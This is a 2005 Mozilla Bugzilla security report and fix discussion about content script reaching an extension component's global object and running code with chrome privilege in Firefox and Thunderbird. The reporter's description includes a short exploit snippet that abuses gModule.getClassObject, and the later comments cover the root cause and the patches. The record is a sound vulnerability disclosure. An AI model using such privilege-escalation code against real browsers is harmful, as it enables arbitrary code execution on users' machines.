Last Comment Bug 294795 - QueryInterface.__proto__.__parent__ refers to the object generated by "nsExtensionManager.js"
: QueryInterface.__proto__.__parent__ refers to the object generated by "nsExte...
Status: RESOLVED FIXED
[sg:fix] Bug details embargoed until ...
: fixed-aviary1.0.5, fixed1.7.9
Product: Core
Classification: Components
Component: XPConnect (show other bugs)
: 1.0 Branch
: All All
: -- normal (vote)
: mozilla1.8beta3
Assigned To: Johnny Stenback (:jst, jst@mozilla.com)
:
: Andrew Overholt [:overholt]
Mentors:
Depends on:
Blocks: sbb? 294799 295011 296397 296467
  Show dependency treegraph
 
Reported: 2005-05-19 08:04 PDT by moz_bug_r_a4
Modified: 2007-04-01 15:04 PDT (History)
15 users (show)
dveditz: blocking‑aviary1.0.5+
chofmann: blocking1.8b2-
dveditz: blocking1.8b3+
dveditz: blocking‑aviary1.5+
bob: in‑testsuite?
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
testcase (486 bytes, text/html)
2005-05-19 08:07 PDT, moz_bug_r_a4
no flags Details
Stop leaking the safe context's global to all windows. (14.80 KB, patch)
2005-05-31 19:09 PDT, Johnny Stenback (:jst, jst@mozilla.com)
no flags Details | Diff | Splinter Review
Same for JS_CloneFunctionObject() in xpccomponets.cpp. (16.20 KB, patch)
2005-06-01 15:15 PDT, Johnny Stenback (:jst, jst@mozilla.com)
brendan: review+
brendan: superreview+
jaymoz: approval‑aviary1.0.5+
jaymoz: approval1.7.9+
brendan: approval1.8b3+
Details | Diff | Splinter Review
Same thing with xpc_CloneJSFunction() uninlined. (16.48 KB, patch)
2005-06-02 14:24 PDT, Johnny Stenback (:jst, jst@mozilla.com)
no flags Details | Diff | Splinter Review
Aviary branch version. (14.95 KB, patch)
2005-06-03 19:16 PDT, Johnny Stenback (:jst, jst@mozilla.com)
no flags Details | Diff | Splinter Review

Description moz_bug_r_a4 2005-05-19 08:04:30 PDT
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4

Any_XPCOM_Object.QueryInterface.__proto__.__parent__ refers to the object
generated by "nsExtensionManager.js". And content window can use its properties
and functions. This bug allows an attacker to run arbitrary code.


  s1 = new Script("Components.stack");
  s2 = new QueryInterface.__proto__.__parent__.Script("Components.stack");

When chrome calls s1.exec(), this error message appears:
  Error: function Script.prototype.exec must be called directly, and not by
  way of a function of another name

But, when chrome calls s2.exec(), its code is executed with chrome privilege.
And, there are ways to make chrome call a Script object created by content.

------
Target code: from nsExtensionManager.js
  var gModule = {
    getClassObject: function (aComponentManager, aCID, aIID) 
    {
      if (!aIID.equals(Components.interfaces.nsIFactory))
        throw Components.results.NS_ERROR_NOT_IMPLEMENTED;

      for (var key in this._objects) {
        if (aCID.equals(this._objects[key].CID))
          return this._objects[key].factory;
      }
    
      throw Components.results.NS_ERROR_NO_INTERFACE;
    },

Exploit code:
  var b = QueryInterface.__proto__.__parent__;
  var iid = { equals : new b.Script(code) };
  b.gModule.getClassObject(null, null, iid);
------

Note for trunk builds:
If user did install/uninstall or enable/disable Extensions, at next time user
start Firefox, QueryInterface.__proto__.__parent__ refers to the other object
generated by "inspector-cmdline.js". but, it doesn't stop exploits.

Affected:
(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050518 Firefox/1.0+

(Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2
(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050518 Thunderbird/1.0.4
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050518 Thunderbird/1.0+


Reproducible: Always

Steps to Reproduce:
Comment 1 moz_bug_r_a4 2005-05-19 08:07:12 PDT
Created attachment 184007 [details]
testcase
Comment 2 moz_bug_r_a4 2005-05-19 08:57:22 PDT
Mozilla suite is not affected by this bug, but there is similar bug (probably
harmless?) that affects Mozilla suite, Firefox and Thunderbird. see Bug 294799 
Comment 3 David Baron :dbaron: ⌚️UTC-8 2005-05-19 12:24:07 PDT
Is this really any XPCOM object, or just those with classinfo?
Comment 4 Daniel Veditz [:dveditz] 2005-05-19 15:23:27 PDT
Confirming.

Testcase didn't work when I had AdBlock enabled, it may be somewhat random what
component you reach if you've got a lot of extras installed. Do not call this
bug fixed or WFM unless you test in -safe-mode.
Comment 5 moz_bug_r_a4 2005-05-20 02:04:45 PDT
>Is this really any XPCOM object, or just those with classinfo?

|Components| object doesn't have nsIClassInfo interface. but,
Components.QueryInterface.__proto__.__parent__ refers to the same object.


tested with Firefox1.0.4 + Adblock:
QueryInterface.__proto__.__parent__ refers to nsIAppShellService.hiddenDOMWindow
that contains the object generated by "adblock.jar!/content/component.js".
Comment 6 Peter Van der Beken [:peterv] 2005-05-22 04:59:17 PDT
I think this bug, bug 294799 and bug 295011 all have the same cause. We use the
safe context when creating the function objects for native member functions in
XPConnect, see XPCNativeMember::Resolve
(http://lxr.mozilla.org/seamonkey/source/js/src/xpconnect/src/xpcwrappednativeinfo.cpp#114).
I'm not sure how JS components' objects get into the safe context' global
object, probably because some of them run code pretty early on startup.
Comment 7 chris hofmann 2005-05-31 12:56:36 PDT
jst looking at this for b3
Comment 8 Mike Shaver (:shaver -- probably not reading bugmail closely) 2005-05-31 13:31:03 PDT
The JS component stuff is almost certainly what ends up creating the safe
context, which means that the first component's global is what gets set as the
safe context's global when we call InitClassesWithWrappedNative in the component
loader's GlobalForLocation.  (Working from recent memory, don't have it open
right now.)

We can probably save-and-restore the safe context's global around that set of
calls, to avoid that sort of leakage, though I'd sort of rather the safe context
always made its own global object of some known heritage.
Comment 9 Johnny Stenback (:jst, jst@mozilla.com) 2005-05-31 19:09:31 PDT
Created attachment 184976 [details] [diff] [review]
Stop leaking the safe context's global to all windows.

This fixes this problem by stopping the sharing of JS function objects from the
safe context's global. The downside is that now all clones of the "real"
functions need to carry the data in the reserved slots (2) instead of getting
that from the "real" function object. This means all functions get bigger (2
slots on a JSObject). But really, exposing the safe context's global to any
code is just wrong, so I'd think this is worth the hit unless someone can think
of a better way to do this...
Comment 10 Johnny Stenback (:jst, jst@mozilla.com) 2005-06-01 15:15:22 PDT
Created attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

Just realized that I missed a call to JS_CloneFunctionObject() in
xpccomponents.cpp. That was the last thing that required that we try to get the
reserved slots off of the "real" function object, so I was able to take out the
code to get to the real function object. This one's ready to land, me thinks.
Comment 11 Boris Zbarsky [:bz] (still a bit busy) 2005-06-01 15:49:11 PDT
Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

r=bzbarsky; we should check whether we need similar fixes for XBL, liveconnect,
and nsJSContext::BindCompiledEventHandler
Comment 12 moz_bug_r_a4 2005-06-02 08:45:26 PDT
XBL needs to be fixed.
Bug 296397
Comment 13 Brendan Eich [:brendan] 2005-06-02 09:56:48 PDT
*** Bug 296397 has been marked as a duplicate of this bug. ***
Comment 14 Brendan Eich [:brendan] 2005-06-02 11:58:34 PDT
(In reply to comment #11)
> (From update of attachment 185071 [details] [diff] [review] [edit])
> r=bzbarsky; we should check whether we need similar fixes for XBL, liveconnect,
> and nsJSContext::BindCompiledEventHandler

Why the last?  It's a primitive, a tool that callers have to use well.  How can
it  avoid abusage at a higher level that leads to "super-proto" entrainment/leakage?

/be
Comment 15 Brendan Eich [:brendan] 2005-06-02 12:03:09 PDT
Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

sr=me but please consider taking xpc_CloneJSFunction out of line.  If doing so
has no code savings on tier-1 platforms, nm.

Restoring r+ from bz lost due to product change (bugzilla bug!).  1.8b3+'ing.

/be
Comment 16 Johnny Stenback (:jst, jst@mozilla.com) 2005-06-02 14:24:47 PDT
Created attachment 185203 [details] [diff] [review]
Same thing with xpc_CloneJSFunction() uninlined.
Comment 17 Johnny Stenback (:jst, jst@mozilla.com) 2005-06-02 14:33:37 PDT
Fix checked in.
Comment 18 Johnny Stenback (:jst, jst@mozilla.com) 2005-06-03 10:22:32 PDT
Note, this caused bug 296467.
Comment 19 Johnny Stenback (:jst, jst@mozilla.com) 2005-06-03 19:11:01 PDT
Oops. Somehow I mixed bugs up here and thought that this was already approved
for the branches. I see now that it wasn't, but I already checked this in on the
aviary branch :(

Let me know if I need to back this out.
Comment 20 Johnny Stenback (:jst, jst@mozilla.com) 2005-06-03 19:16:10 PDT
Created attachment 185314 [details] [diff] [review]
Aviary branch version.
Comment 21 Jay Patel [:jay] 2005-06-07 12:17:23 PDT
jst: Should we add the fixed-aviary1.0.5 keyword since you already checked in on
the Aviary branch?

Is this supposed to make it onto the Mozilla 1.7.9 branch?
Comment 22 Jay Patel [:jay] 2005-06-15 18:42:12 PDT
Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

Looks like this already landed on the Aviary branch...but did it make it onto
the 1.7.9?  If not, a=jay, let's get it in.
Comment 23 Johnny Stenback (:jst, jst@mozilla.com) 2005-06-15 21:40:05 PDT
Fixed on trunk and both branches.
Comment 24 Jay Patel [:jay] 2005-07-06 18:19:13 PDT
v.fixed on aviary with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9)
Gecko/20050706 Firefox/1.0.5 using original testcase.
Comment 25 Daniel Veditz [:dveditz] 2005-07-12 11:35:37 PDT
Adding distributors

Note You need to log in before you can comment on or make changes to this bug.